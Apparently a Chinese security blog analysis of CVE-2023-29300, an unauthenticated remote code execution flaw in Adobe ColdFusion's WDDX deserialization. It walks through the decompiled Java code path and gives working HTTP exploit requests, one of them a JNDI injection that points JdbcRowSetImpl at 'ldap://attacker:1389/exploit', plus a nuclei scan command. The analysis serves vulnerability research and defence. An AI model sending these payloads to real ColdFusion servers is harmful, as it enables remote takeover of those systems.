public void startElement(String name, AttributeList atts) throws SAXException {
try {
...
if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) {
validateWddxFilter(atts);
}
...
} catch (WddxDeserializationException e) {
throwSAXException(e);
}
}
private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
String attributeType = atts.getValue("type");
validateBlockedClass(attributeType);
}
private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
throw new InvalidWddxPacketException();
}
}
<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>
onEndElement() -> getClassBySignature() -> setBeanProperties()
public void onEndElement() throws WddxDeserializationException {
if (this.m_strictType == null) {
setTypeAndValue(this.m_ht);
return;
}
try {
Class beanClass = getClassBySignature(this.m_strictType);
Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
setBeanProperties(bean, this.m_ht);
setTypeAndValue(bean);
} catch (Exception e) {
...
}
}
private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
char c = jniTypeSig.charAt(0);
switch (c) {
...
default:
String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
return Class.forName(className);
}
}
private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {
Hashtable descriptors;
try {
BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);
PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();
descriptors = new Hashtable();
for (int i = 0; i < descriptorArray.length; i++) {
descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);
}
} catch () {
...
}
for (String propName : props.keySet()) {
Object propValue = props.get(propName);
IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);
if (indexedPropertyDescriptor != null) {
if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {
...
} else {
Method method2 = indexedPropertyDescriptor.getWriteMethod();
if (method2 != null) {
try {
Class[] types2 = method2.getParameterTypes();
Object value2 = ObjectConverter.convert(propValue, types2[0]);
method2.invoke(bean, value2);
} catch () {
...
}
}
}
...
}
}
}
-
该类必须有一个不带参数的公共构造函数。 -
该方法必须是一个 setter,由其名称以“set”开头表示。 -
setter 方法必须只接受一个参数。
public static Object WDDXDeserialize(String str) throws Throwable {
WddxDeserializer deserializer = new WddxDeserializer();
InputSource source = new InputSource(new StringReader(str));
return deserializer.deserialize(source);
}
public static Map GetArgumentCollection(FusionContext context) throws Throwable {
Struct argumentCollection;
HttpServletRequest httpServletRequest = context.request;
String attr = (String) context.pageContext.findAttribute("url.argumentCollection");
if (attr == null) {
attr = (String) context.pageContext.findAttribute("form.argumentCollection");
}
if (attr == null) {
argumentCollection = new Struct();
} else {
String attr2 = attr.trim();
if (attr2.charAt(0) == '{') {
argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);
} else {
argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here
}
}
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xclassNamex'><var name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
nuclei -id CVE-2023-29300 -list coldfusion_list.txt
原文始发于微信公众号(Ots安全):分析 CVE-2023-29300:Adobe ColdFusion 预授权 RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论